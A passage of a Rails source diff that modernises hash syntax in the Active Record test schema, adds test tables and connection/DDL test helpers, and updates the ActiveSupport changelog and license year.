- create_table "CamelCase", :force => true do |t|
+ create_table "CamelCase", force: true do |t|
t.string :name
end
- create_table :cars, :force => true do |t|
+ create_table :cars, force: true do |t|
t.string :name
t.integer :engines_count
t.integer :wheels_count
- t.column :lock_version, :integer, :null => false, :default => 0
+ t.column :lock_version, :integer, null: false, default: 0
t.timestamps
end
- create_table :categories, :force => true do |t|
- t.string :name, :null => false
+ create_table :categories, force: true do |t|
+ t.string :name, null: false
t.string :type
t.integer :categorizations_count
end
- create_table :categories_posts, :force => true, :id => false do |t|
- t.integer :category_id, :null => false
- t.integer :post_id, :null => false
+ create_table :categories_posts, force: true, id: false do |t|
+ t.integer :category_id, null: false
+ t.integer :post_id, null: false
end
- create_table :categorizations, :force => true do |t|
+ create_table :categorizations, force: true do |t|
t.column :category_id, :integer
t.string :named_category_name
t.column :post_id, :integer
@@ -137,98 +152,103 @@ ActiveRecord::Schema.define do
t.column :special, :boolean
end
- create_table :citations, :force => true do |t|
+ create_table :citations, force: true do |t|
t.column :book1_id, :integer
t.column :book2_id, :integer
end
- create_table :clubs, :force => true do |t|
+ create_table :clubs, force: true do |t|
t.string :name
t.integer :category_id
end
- create_table :collections, :force => true do |t|
+ create_table :collections, force: true do |t|
t.string :name
end
- create_table :colnametests, :force => true do |t|
- t.integer :references, :null => false
+ create_table :colnametests, force: true do |t|
+ t.integer :references, null: false
+ end
+
+ create_table :columns, force: true do |t|
+ t.references :record
end
- create_table :comments, :force => true do |t|
- t.integer :post_id, :null => false
+ create_table :comments, force: true do |t|
+ t.integer :post_id, null: false
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
- t.string :body, :null => false, :limit => 4000
+ t.string :body, null: false, limit: 4000
else
- t.text :body, :null => false
+ t.text :body, null: false
end
t.string :type
- t.integer :taggings_count, :default => 0
- t.integer :children_count, :default => 0
+ t.integer :taggings_count, default: 0
+ t.integer :children_count, default: 0
t.integer :parent_id
end
- create_table :companies, :force => true do |t|
+ create_table :companies, force: true do |t|
t.string :type
t.integer :firm_id
t.string :firm_name
t.string :name
t.integer :client_of
- t.integer :rating, :default => 1
+ t.integer :rating, default: 1
t.integer :account_id
- t.string :description, :default => ""
+ t.string :description, default: ""
end
- add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
- add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
- add_index :companies, :name, :name => 'company_name_index', :using => :btree
+ add_index :companies, [:firm_id, :type, :rating], name: "company_index"
+ add_index :companies, [:firm_id, :type], name: "company_partial_index", where: "rating > 10"
+ add_index :companies, :name, name: 'company_name_index', using: :btree
- create_table :vegetables, :force => true do |t|
+ create_table :vegetables, force: true do |t|
t.string :name
t.integer :seller_id
t.string :custom_type
end
- create_table :computers, :force => true do |t|
- t.integer :developer, :null => false
- t.integer :extendedWarranty, :null => false
+ create_table :computers, force: true do |t|
+ t.string :system
+ t.integer :developer, null: false
+ t.integer :extendedWarranty, null: false
end
- create_table :contracts, :force => true do |t|
+ create_table :contracts, force: true do |t|
t.integer :developer_id
t.integer :company_id
end
- create_table :customers, :force => true do |t|
+ create_table :customers, force: true do |t|
t.string :name
- t.integer :balance, :default => 0
+ t.integer :balance, default: 0
t.string :address_street
t.string :address_city
t.string :address_country
t.string :gps_location
end
- create_table :dashboards, :force => true, :id => false do |t|
+ create_table :dashboards, force: true, id: false do |t|
t.string :dashboard_id
t.string :name
end
- create_table :developers, :force => true do |t|
+ create_table :developers, force: true do |t|
t.string :name
- t.integer :salary, :default => 70000
+ t.integer :salary, default: 70000
t.datetime :created_at
t.datetime :updated_at
t.datetime :created_on
t.datetime :updated_on
end
- create_table :developers_projects, :force => true, :id => false do |t|
- t.integer :developer_id, :null => false
- t.integer :project_id, :null => false
+ create_table :developers_projects, force: true, id: false do |t|
+ t.integer :developer_id, null: false
+ t.integer :project_id, null: false
t.date :joined_on
- t.integer :access_level, :default => 1
+ t.integer :access_level, default: 1
end
create_table :dog_lovers, force: true do |t|
@@ -237,28 +257,29 @@ ActiveRecord::Schema.define do
t.integer :dogs_count, default: 0
end
- create_table :dogs, :force => true do |t|
+ create_table :dogs, force: true do |t|
t.integer :trainer_id
t.integer :breeder_id
t.integer :dog_lover_id
+ t.string :alias
end
- create_table :edges, :force => true, :id => false do |t|
- t.column :source_id, :integer, :null => false
- t.column :sink_id, :integer, :null => false
+ create_table :edges, force: true, id: false do |t|
+ t.column :source_id, :integer, null: false
+ t.column :sink_id, :integer, null: false
end
- add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+ add_index :edges, [:source_id, :sink_id], unique: true, name: 'unique_edge_index'
- create_table :engines, :force => true do |t|
+ create_table :engines, force: true do |t|
t.integer :car_id
end
- create_table :entrants, :force => true do |t|
- t.string :name, :null => false
- t.integer :course_id, :null => false
+ create_table :entrants, force: true do |t|
+ t.string :name, null: false
+ t.integer :course_id, null: false
end
- create_table :essays, :force => true do |t|
+ create_table :essays, force: true do |t|
t.string :name
t.string :writer_id
t.string :writer_type
@@ -266,153 +287,153 @@ ActiveRecord::Schema.define do
t.string :author_id
end
- create_table :events, :force => true do |t|
- t.string :title, :limit => 5
+ create_table :events, force: true do |t|
+ t.string :title, limit: 5
end
- create_table :eyes, :force => true do |t|
+ create_table :eyes, force: true do |t|
end
- create_table :funny_jokes, :force => true do |t|
+ create_table :funny_jokes, force: true do |t|
t.string :name
end
- create_table :cold_jokes, :force => true do |t|
+ create_table :cold_jokes, force: true do |t|
t.string :name
end
- create_table :friendships, :force => true do |t|
+ create_table :friendships, force: true do |t|
t.integer :friend_id
t.integer :follower_id
end
- create_table :goofy_string_id, :force => true, :id => false do |t|
- t.string :id, :null => false
+ create_table :goofy_string_id, force: true, id: false do |t|
+ t.string :id, null: false
t.string :info
end
- create_table :having, :force => true do |t|
+ create_table :having, force: true do |t|
t.string :where
end
- create_table :guids, :force => true do |t|
+ create_table :guids, force: true do |t|
t.column :key, :string
end
- create_table :inept_wizards, :force => true do |t|
- t.column :name, :string, :null => false
- t.column :city, :string, :null => false
+ create_table :inept_wizards, force: true do |t|
+ t.column :name, :string, null: false
+ t.column :city, :string, null: false
t.column :type, :string
end
- create_table :integer_limits, :force => true do |t|
+ create_table :integer_limits, force: true do |t|
t.integer :"c_int_without_limit"
(1..8).each do |i|
- t.integer :"c_int_#{i}", :limit => i
+ t.integer :"c_int_#{i}", limit: i
end
end
- create_table :invoices, :force => true do |t|
+ create_table :invoices, force: true do |t|
t.integer :balance
t.datetime :updated_at
end
- create_table :iris, :force => true do |t|
+ create_table :iris, force: true do |t|
t.references :eye
t.string :color
end
- create_table :items, :force => true do |t|
+ create_table :items, force: true do |t|
t.column :name, :string
end
- create_table :jobs, :force => true do |t|
+ create_table :jobs, force: true do |t|
t.integer :ideal_reference_id
end
- create_table :keyboards, :force => true, :id => false do |t|
+ create_table :keyboards, force: true, id: false do |t|
t.primary_key :key_number
t.string :name
end
- create_table :legacy_things, :force => true do |t|
+ create_table :legacy_things, force: true do |t|
t.integer :tps_report_number
- t.integer :version, :null => false, :default => 0
+ t.integer :version, null: false, default: 0
end
- create_table :lessons, :force => true do |t|
+ create_table :lessons, force: true do |t|
t.string :name
end
- create_table :lessons_students, :id => false, :force => true do |t|
+ create_table :lessons_students, id: false, force: true do |t|
t.references :lesson
t.references :student
end
- create_table :lint_models, :force => true
+ create_table :lint_models, force: true
- create_table :line_items, :force => true do |t|
+ create_table :line_items, force: true do |t|
t.integer :invoice_id
t.integer :amount
end
- create_table :lock_without_defaults, :force => true do |t|
+ create_table :lock_without_defaults, force: true do |t|
t.column :lock_version, :integer
end
- create_table :lock_without_defaults_cust, :force => true do |t|
+ create_table :lock_without_defaults_cust, force: true do |t|
t.column :custom_lock_version, :integer
end
- create_table :mateys, :id => false, :force => true do |t|
+ create_table :mateys, id: false, force: true do |t|
t.column :pirate_id, :integer
t.column :target_id, :integer
t.column :weight, :integer
end
- create_table :members, :force => true do |t|
+ create_table :members, force: true do |t|
t.string :name
t.integer :member_type_id
end
- create_table :member_details, :force => true do |t|
+ create_table :member_details, force: true do |t|
t.integer :member_id
t.integer :organization_id
t.string :extra_data
end
- create_table :member_friends, :force => true, :id => false do |t|
+ create_table :member_friends, force: true, id: false do |t|
t.integer :member_id
t.integer :friend_id
end
- create_table :memberships, :force => true do |t|
+ create_table :memberships, force: true do |t|
t.datetime :joined_on
t.integer :club_id, :member_id
- t.boolean :favourite, :default => false
+ t.boolean :favourite, default: false
t.string :type
end
- create_table :member_types, :force => true do |t|
+ create_table :member_types, force: true do |t|
t.string :name
end
- create_table :minivans, :force => true, :id => false do |t|
+ create_table :minivans, force: true, id: false do |t|
t.string :minivan_id
t.string :name
t.string :speedometer_id
t.string :color
end
- create_table :minimalistics, :force => true do |t|
+ create_table :minimalistics, force: true do |t|
end
- create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+ create_table :mixed_case_monkeys, force: true, id: false do |t|
t.primary_key :monkeyID
t.integer :fleaCount
end
- create_table :mixins, :force => true do |t|
+ create_table :mixins, force: true do |t|
t.integer :parent_id
t.integer :pos
t.datetime :created_at
@@ -423,52 +444,52 @@ ActiveRecord::Schema.define do
t.string :type
end
- create_table :movies, :force => true, :id => false do |t|
+ create_table :movies, force: true, id: false do |t|
t.primary_key :movieid
t.string :name
end
- create_table :numeric_data, :force => true do |t|
- t.decimal :bank_balance, :precision => 10, :scale => 2
- t.decimal :big_bank_balance, :precision => 15, :scale => 2
- t.decimal :world_population, :precision => 10, :scale => 0
- t.decimal :my_house_population, :precision => 2, :scale => 0
- t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+ create_table :numeric_data, force: true do |t|
+ t.decimal :bank_balance, precision: 10, scale: 2
+ t.decimal :big_bank_balance, precision: 15, scale: 2
+ t.decimal :world_population, precision: 10, scale: 0
+ t.decimal :my_house_population, precision: 2, scale: 0
+ t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
t.float :temperature
# Oracle/SQLServer supports precision up to 38
- if current_adapter?(:OracleAdapter,:SQLServerAdapter)
- t.decimal :atoms_in_universe, :precision => 38, :scale => 0
+ if current_adapter?(:OracleAdapter, :SQLServerAdapter)
+ t.decimal :atoms_in_universe, precision: 38, scale: 0
else
- t.decimal :atoms_in_universe, :precision => 55, :scale => 0
+ t.decimal :atoms_in_universe, precision: 55, scale: 0
end
end
- create_table :orders, :force => true do |t|
+ create_table :orders, force: true do |t|
t.string :name
t.integer :billing_customer_id
t.integer :shipping_customer_id
end
- create_table :organizations, :force => true do |t|
+ create_table :organizations, force: true do |t|
t.string :name
end
- create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+ create_table :owners, primary_key: :owner_id, force: true do |t|
t.string :name
t.column :updated_at, :datetime
t.column :happy_at, :datetime
t.string :essay_id
end
- create_table :paint_colors, :force => true do |t|
+ create_table :paint_colors, force: true do |t|
t.integer :non_poly_one_id
end
- create_table :paint_textures, :force => true do |t|
+ create_table :paint_textures, force: true do |t|
t.integer :non_poly_two_id
end
- create_table :parrots, :force => true do |t|
+ create_table :parrots, force: true do |t|
t.column :name, :string
t.column :color, :string
t.column :parrot_sti_class, :string
@@ -479,43 +500,43 @@ ActiveRecord::Schema.define do
t.column :updated_on, :datetime
end
- create_table :parrots_pirates, :id => false, :force => true do |t|
+ create_table :parrots_pirates, id: false, force: true do |t|
t.column :parrot_id, :integer
t.column :pirate_id, :integer
end
- create_table :parrots_treasures, :id => false, :force => true do |t|
+ create_table :parrots_treasures, id: false, force: true do |t|
t.column :parrot_id, :integer
t.column :treasure_id, :integer
end
- create_table :people, :force => true do |t|
- t.string :first_name, :null => false
+ create_table :people, force: true do |t|
+ t.string :first_name, null: false
t.references :primary_contact
- t.string :gender, :limit => 1
+ t.string :gender, limit: 1
t.references :number1_fan
- t.integer :lock_version, :null => false, :default => 0
+ t.integer :lock_version, null: false, default: 0
t.string :comments
- t.integer :followers_count, :default => 0
- t.integer :friends_too_count, :default => 0
+ t.integer :followers_count, default: 0
+ t.integer :friends_too_count, default: 0
t.references :best_friend
t.references :best_friend_of
t.integer :insures, null: false, default: 0
t.timestamps
end
- create_table :peoples_treasures, :id => false, :force => true do |t|
+ create_table :peoples_treasures, id: false, force: true do |t|
t.column :rich_person_id, :integer
t.column :treasure_id, :integer
end
- create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+ create_table :pets, primary_key: :pet_id, force: true do |t|
t.string :name
t.integer :owner_id, :integer
t.timestamps
end
- create_table :pirates, :force => true do |t|
+ create_table :pirates, force: true do |t|
t.column :catchphrase, :string
t.column :parrot_id, :integer
t.integer :non_validated_parrot_id
@@ -523,74 +544,79 @@ ActiveRecord::Schema.define do
t.column :updated_on, :datetime
end
- create_table :posts, :force => true do |t|
+ create_table :posts, force: true do |t|
t.integer :author_id
- t.string :title, :null => false
+ t.string :title, null: false
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
- t.string :body, :null => false, :limit => 4000
+ t.string :body, null: false, limit: 4000
else
- t.text :body, :null => false
+ t.text :body, null: false
end
t.string :type
- t.integer :comments_count, :default => 0
- t.integer :taggings_count, :default => 0
- t.integer :taggings_with_delete_all_count, :default => 0
- t.integer :taggings_with_destroy_count, :default => 0
- t.integer :tags_count, :default => 0
- t.integer :tags_with_destroy_count, :default => 0
- t.integer :tags_with_nullify_count, :default => 0
+ t.integer :comments_count, default: 0
+ t.integer :taggings_count, default: 0
+ t.integer :taggings_with_delete_all_count, default: 0
+ t.integer :taggings_with_destroy_count, default: 0
+ t.integer :tags_count, default: 0
+ t.integer :tags_with_destroy_count, default: 0
+ t.integer :tags_with_nullify_count, default: 0
end
- create_table :price_estimates, :force => true do |t|
+ create_table :price_estimates, force: true do |t|
t.string :estimate_of_type
t.integer :estimate_of_id
t.integer :price
end
- create_table :products, :force => true do |t|
+ create_table :products, force: true do |t|
t.references :collection
+ t.references :type
t.string :name
end
- create_table :projects, :force => true do |t|
+ create_table :product_types, force: true do |t|
+ t.string :name
+ end
+
+ create_table :projects, force: true do |t|
t.string :name
t.string :type
end
- create_table :randomly_named_table, :force => true do |t|
+ create_table :randomly_named_table, force: true do |t|
t.string :some_attribute
t.integer :another_attribute
end
- create_table :ratings, :force => true do |t|
+ create_table :ratings, force: true do |t|
t.integer :comment_id
t.integer :value
end
- create_table :readers, :force => true do |t|
- t.integer :post_id, :null => false
- t.integer :person_id, :null => false
- t.boolean :skimmer, :default => false
+ create_table :readers, force: true do |t|
+ t.integer :post_id, null: false
+ t.integer :person_id, null: false
+ t.boolean :skimmer, default: false
t.integer :first_post_id
end
- create_table :references, :force => true do |t|
+ create_table :references, force: true do |t|
t.integer :person_id
t.integer :job_id
t.boolean :favourite
- t.integer :lock_version, :default => 0
+ t.integer :lock_version, default: 0
end
- create_table :shape_expressions, :force => true do |t|
+ create_table :shape_expressions, force: true do |t|
t.string :paint_type
t.integer :paint_id
t.string :shape_type
t.integer :shape_id
end
- create_table :ships, :force => true do |t|
+ create_table :ships, force: true do |t|
t.string :name
t.integer :pirate_id
t.integer :update_only_pirate_id
@@ -600,51 +626,53 @@ ActiveRecord::Schema.define do
t.datetime :updated_on
end
- create_table :ship_parts, :force => true do |t|
+ create_table :ship_parts, force: true do |t|
t.string :name
t.integer :ship_id
end
- create_table :speedometers, :force => true, :id => false do |t|
+ create_table :speedometers, force: true, id: false do |t|
t.string :speedometer_id
t.string :name
t.string :dashboard_id
end
- create_table :sponsors, :force => true do |t|
+ create_table :sponsors, force: true do |t|
t.integer :club_id
t.integer :sponsorable_id
t.string :sponsorable_type
end
- create_table :string_key_objects, :id => false, :primary_key => :id, :force => true do |t|
+ create_table :string_key_objects, id: false, primary_key: :id, force: true do |t|
t.string :id
t.string :name
- t.integer :lock_version, :null => false, :default => 0
+ t.integer :lock_version, null: false, default: 0
end
- create_table :students, :force => true do |t|
+ create_table :students, force: true do |t|
t.string :name
+ t.boolean :active
+ t.integer :college_id
end
- create_table :subscribers, :force => true, :id => false do |t|
- t.string :nick, :null => false
+ create_table :subscribers, force: true, id: false do |t|
+ t.string :nick, null: false
t.string :name
- t.column :books_count, :integer, :null => false, :default => 0
+ t.column :books_count, :integer, null: false, default: 0
end
- add_index :subscribers, :nick, :unique => true
+ add_index :subscribers, :nick, unique: true
- create_table :subscriptions, :force => true do |t|
+ create_table :subscriptions, force: true do |t|
t.string :subscriber_id
t.integer :book_id
end
- create_table :tags, :force => true do |t|
+ create_table :tags, force: true do |t|
t.column :name, :string
- t.column :taggings_count, :integer, :default => 0
+ t.column :taggings_count, :integer, default: 0
end
- create_table :taggings, :force => true do |t|
+ create_table :taggings, force: true do |t|
t.column :tag_id, :integer
t.column :super_tag_id, :integer
t.column :taggable_type, :string
@@ -652,30 +680,34 @@ ActiveRecord::Schema.define do
t.string :comment
end
- create_table :tasks, :force => true do |t|
+ create_table :tasks, force: true do |t|
t.datetime :starting
t.datetime :ending
end
- create_table :topics, :force => true do |t|
- t.string :title
+ create_table :topics, force: true do |t|
+ t.string :title, limit: 250
t.string :author_name
t.string :author_email_address
- t.datetime :written_on
+ if mysql_56?
+ t.datetime :written_on, limit: 6
+ else
+ t.datetime :written_on
+ end
t.time :bonus_time
t.date :last_read
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
- t.string :content, :limit => 4000
- t.string :important, :limit => 4000
+ t.string :content, limit: 4000
+ t.string :important, limit: 4000
else
t.text :content
t.text :important
end
- t.boolean :approved, :default => true
- t.integer :replies_count, :default => 0
- t.integer :unique_replies_count, :default => 0
+ t.boolean :approved, default: true
+ t.integer :replies_count, default: 0
+ t.integer :unique_replies_count, default: 0
t.integer :parent_id
t.string :parent_title
t.string :type
@@ -683,54 +715,54 @@ ActiveRecord::Schema.define do
t.timestamps
end
- create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+ create_table :toys, primary_key: :toy_id, force: true do |t|
t.string :name
t.integer :pet_id, :integer
t.timestamps
end
- create_table :traffic_lights, :force => true do |t|
+ create_table :traffic_lights, force: true do |t|
t.string :location
t.string :state
- t.text :long_state, :null => false
+ t.text :long_state, null: false
t.datetime :created_at
t.datetime :updated_at
end
- create_table :treasures, :force => true do |t|
+ create_table :treasures, force: true do |t|
t.column :name, :string
t.column :type, :string
t.column :looter_id, :integer
t.column :looter_type, :string
end
- create_table :tyres, :force => true do |t|
+ create_table :tyres, force: true do |t|
t.integer :car_id
end
- create_table :variants, :force => true do |t|
+ create_table :variants, force: true do |t|
t.references :product
t.string :name
end
- create_table :vertices, :force => true do |t|
+ create_table :vertices, force: true do |t|
t.column :label, :string
end
- create_table 'warehouse-things', :force => true do |t|
+ create_table 'warehouse-things', force: true do |t|
t.integer :value
end
[:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
- create_table(t, :force => true) { }
+ create_table(t, force: true) { }
end
# NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
- create_table :men, :force => true do |t|
+ create_table :men, force: true do |t|
t.string :name
end
- create_table :faces, :force => true do |t|
+ create_table :faces, force: true do |t|
t.string :description
t.integer :man_id
t.integer :polymorphic_man_id
@@ -739,7 +771,7 @@ ActiveRecord::Schema.define do
t.string :horrible_polymorphic_man_type
end
- create_table :interests, :force => true do |t|
+ create_table :interests, force: true do |t|
t.string :topic
t.integer :man_id
t.integer :polymorphic_man_id
@@ -747,50 +779,69 @@ ActiveRecord::Schema.define do
t.integer :zine_id
end
- create_table :wheels, :force => true do |t|
- t.references :wheelable, :polymorphic => true
+ create_table :wheels, force: true do |t|
+ t.references :wheelable, polymorphic: true
end
- create_table :zines, :force => true do |t|
+ create_table :zines, force: true do |t|
t.string :title
end
- create_table :countries, :force => true, :id => false, :primary_key => 'country_id' do |t|
+ create_table :countries, force: true, id: false, primary_key: 'country_id' do |t|
t.string :country_id
t.string :name
end
- create_table :treaties, :force => true, :id => false, :primary_key => 'treaty_id' do |t|
+ create_table :treaties, force: true, id: false, primary_key: 'treaty_id' do |t|
t.string :treaty_id
t.string :name
end
- create_table :countries_treaties, :force => true, :id => false do |t|
- t.string :country_id, :null => false
- t.string :treaty_id, :null => false
+ create_table :countries_treaties, force: true, id: false do |t|
+ t.string :country_id, null: false
+ t.string :treaty_id, null: false
end
- create_table :liquid, :force => true do |t|
+ create_table :liquid, force: true do |t|
t.string :name
end
- create_table :molecules, :force => true do |t|
+ create_table :molecules, force: true do |t|
t.integer :liquid_id
t.string :name
end
- create_table :electrons, :force => true do |t|
+ create_table :electrons, force: true do |t|
t.integer :molecule_id
t.string :name
end
- create_table :weirds, :force => true do |t|
+ create_table :weirds, force: true do |t|
t.string 'a$b'
+ t.string 'なまえ'
t.string 'from'
end
+ create_table :hotels, force: true do |t|
+ end
+ create_table :departments, force: true do |t|
+ t.integer :hotel_id
+ end
+ create_table :cake_designers, force: true do |t|
+ end
+ create_table :drink_designers, force: true do |t|
+ end
+ create_table :chefs, force: true do |t|
+ t.integer :employable_id
+ t.string :employable_type
+ t.integer :department_id
+ end
+
+ create_table :records, force: true do |t|
+ end
+
except 'SQLite' do
# fk_test_has_fk should be before fk_test_has_pk
- create_table :fk_test_has_fk, :force => true do |t|
- t.integer :fk_id, :null => false
+ create_table :fk_test_has_fk, force: true do |t|
+ t.integer :fk_id, null: false
end
- create_table :fk_test_has_pk, :force => true do |t|
+ create_table :fk_test_has_pk, force: true do |t|
end
execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
@@ -799,11 +850,11 @@ ActiveRecord::Schema.define do
end
end
-Course.connection.create_table :courses, :force => true do |t|
- t.column :name, :string, :null => false
+Course.connection.create_table :courses, force: true do |t|
+ t.column :name, :string, null: false
t.column :college_id, :integer
end
-College.connection.create_table :colleges, :force => true do |t|
- t.column :name, :string, :null => false
+College.connection.create_table :colleges, force: true do |t|
+ t.column :name, :string, null: false
end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
index e9ddeb32cf..b7aff4f47d 100644
--- a/activerecord/test/schema/sqlite_specific_schema.rb
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -1,9 +1,6 @@
ActiveRecord::Schema.define do
- # For sqlite 3.1.0+, make a table with an autoincrement column
- if supports_autoincrement?
- create_table :table_with_autoincrement, :force => true do |t|
- t.column :name, :string
- end
+ create_table :table_with_autoincrement, :force => true do |t|
+ t.column :name, :string
end
execute "DROP TABLE fk_test_has_fk" rescue nil
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index 196b3a9493..d11fd9cfc1 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -15,7 +15,7 @@ module ARTest
puts "Using #{connection_name}"
ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
ActiveRecord::Base.configurations = connection_config
- ActiveRecord::Base.establish_connection 'arunit'
- ARUnit2Model.establish_connection 'arunit2'
+ ActiveRecord::Base.establish_connection :arunit
+ ARUnit2Model.establish_connection :arunit2
end
end
diff --git a/activerecord/test/support/connection_helper.rb b/activerecord/test/support/connection_helper.rb
new file mode 100644
index 0000000000..4a19e5df44
--- /dev/null
+++ b/activerecord/test/support/connection_helper.rb
@@ -0,0 +1,14 @@
+module ConnectionHelper
+ def run_without_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ yield original_connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
+ # Used to drop all cache query plans in tests.
+ def reset_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+end
diff --git a/activerecord/test/support/ddl_helper.rb b/activerecord/test/support/ddl_helper.rb
new file mode 100644
index 0000000000..0107babaaf
--- /dev/null
+++ b/activerecord/test/support/ddl_helper.rb
@@ -0,0 +1,8 @@
+module DdlHelper
+ def with_example_table(connection, table_name, definition = nil)
+ connection.exec_query("CREATE TABLE #{table_name}(#{definition})")
+ yield
+ ensure
+ connection.exec_query("DROP TABLE #{table_name}")
+ end
+end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index 45f71daa08..36955e5ca6 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,76 +1,106 @@
-* Fix return value from `BacktraceCleaner#noise` when the cleaner is configured
- with multiple silencers.
+* Fixed backward compatibility isues introduced in 326e652.
- Fixes #11030
+ Empty Hash or Array should not present in serialization result.
- *Mark J. Titorenko*
+ {a: []}.to_query # => ""
+ {a: {}}.to_query # => ""
-* `HashWithIndifferentAccess#select` now returns a `HashWithIndifferentAccess`
- instance instead of a `Hash` instance.
+ For more info see #14948.
- Fixes #10723
+ *Bogdan Gusiev*
- *Albert Llop*
+* Add `SecureRandom::uuid_v3` and `SecureRandom::uuid_v5` to support stable
+ UUID fixtures on PostgreSQL.
-* Add `DateTime#usec` and `DateTime#nsec` so that `ActiveSupport::TimeWithZone` keeps
- sub-second resolution when wrapping a `DateTime` value.
+ *Roderick van Domburg*
- Fixes #10855
+* Fixed `ActiveSupport::Duration#eql?` so that `1.second.eql?(1.second)` is
+ true.
- *Andrew White*
+ This fixes the current situation of:
-* Fix `ActiveSupport::Dependencies::Loadable#load_dependency` calling
- `#blame_file!` on Exceptions that do not have the Blamable mixin
+ 1.second.eql?(1.second) #=> false
- *Andrew Kreiling*
+ `eql?` also requires that the other object is an `ActiveSupport::Duration`.
+ This requirement makes `ActiveSupport::Duration`'s behavior consistent with
+ the behavior of Ruby's numeric types:
-* Override `Time.at` to support the passing of Time-like values when called with a single argument.
+ 1.eql?(1.0) #=> false
+ 1.0.eql?(1) #=> false
- *Andrew White*
+ 1.second.eql?(1) #=> false (was true)
+ 1.eql?(1.second) #=> false
-* Prevent side effects to hashes inside arrays when
- `Hash#with_indifferent_access` is called.
+ { 1 => "foo", 1.0 => "bar" }
+ #=> { 1 => "foo", 1.0 => "bar" }
- Fixes #10526
+ { 1 => "foo", 1.second => "bar" }
+ # now => { 1 => "foo", 1.second => "bar" }
+ # was => { 1 => "bar" }
- *Yves Senn*
+ And though the behavior of these hasn't changed, for reference:
-* Raise an error when multiple `included` blocks are defined for a Concern.
- The old behavior would silently discard previously defined blocks, running
- only the last one.
+ 1 == 1.0 #=> true
+ 1.0 == 1 #=> true
- *Mike Dillon*
+ 1 == 1.second #=> true
+ 1.second == 1 #=> true
-* Replace `multi_json` with `json`.
+ *Emily Dobervich*
- Since Rails requires Ruby 1.9 and since Ruby 1.9 includes `json` in the standard library,
- `multi_json` is no longer necessary.
+* `ActiveSupport::SafeBuffer#prepend` acts like `String#prepend` and modifies
+ instance in-place, returning self. `ActiveSupport::SafeBuffer#prepend!` is
+ deprecated.
- *Erik Michaels-Ober*
+ *Pavel Pravosud*
-* Added escaping of U+2028 and U+2029 inside the json encoder.
- These characters are legal in JSON but break the Javascript interpreter.
- After escaping them, the JSON is still legal and can be parsed by Javascript.
+* `HashWithIndifferentAccess` better respects `#to_hash` on objects it's
+ given. In particular, `.new`, `#update`, `#merge`, `#replace` all accept
+ objects which respond to `#to_hash`, even if those objects are not Hashes
+ directly.
- *Mario Caropreso + Viktor Kelemen + zackham*
+ *Peter Jaros*
-* Fix skipping object callbacks using metadata fetched via callback chain
- inspection methods (`_*_callbacks`)
+* Deprecate `Class#superclass_delegating_accessor`, use `Class#class_attribute` instead.
- *Sean Walbran*
+ *Akshay Vishnoi*
-* Add a `fetch_multi` method to the cache stores. The method provides
- an easy to use API for fetching multiple values from the cache.
+* Ensure classes which `include Enumerable` get `#to_json` in addition to
+ `#as_json`.
- Example:
+ *Sammy Larbi*
- # Calculating scores is expensive, so we only do it for posts
- # that have been updated. Cache keys are automatically extracted
- # from objects that define a #cache_key method.
- scores = Rails.cache.fetch_multi(*posts) do |post|
- calculate_score(post)
+* Change the signature of `fetch_multi` to return a hash rather than an
+ array. This makes it consistent with the output of `read_multi`.
+
+ *Parker Selbert*
+
+* Introduce `Concern#class_methods` as a sleek alternative to clunky
+ `module ClassMethods`. Add `Kernel#concern` to define at the toplevel
+ without chunky `module Foo; extend ActiveSupport::Concern` boilerplate.
+
+ # app/models/concerns/authentication.rb
+ concern :Authentication do
+ included do
+ after_create :generate_private_key
+ end
+
+ class_methods do
+ def authenticate(credentials)
+ # ...
+ end
+ end
+
+ def generate_private_key
+ # ...
+ end
+ end
+
+ # app/models/user.rb
+ class User < ActiveRecord::Base
+ include Authentication
end
- *Daniel Schierbeck*
+ *Jeremy Kemper*
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 6aeeb7132d..d06d4f3b2d 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2013 David Heinemeier Hansson
+Copyright (c) 2005-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index 99770bace9..5ba153662a 100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
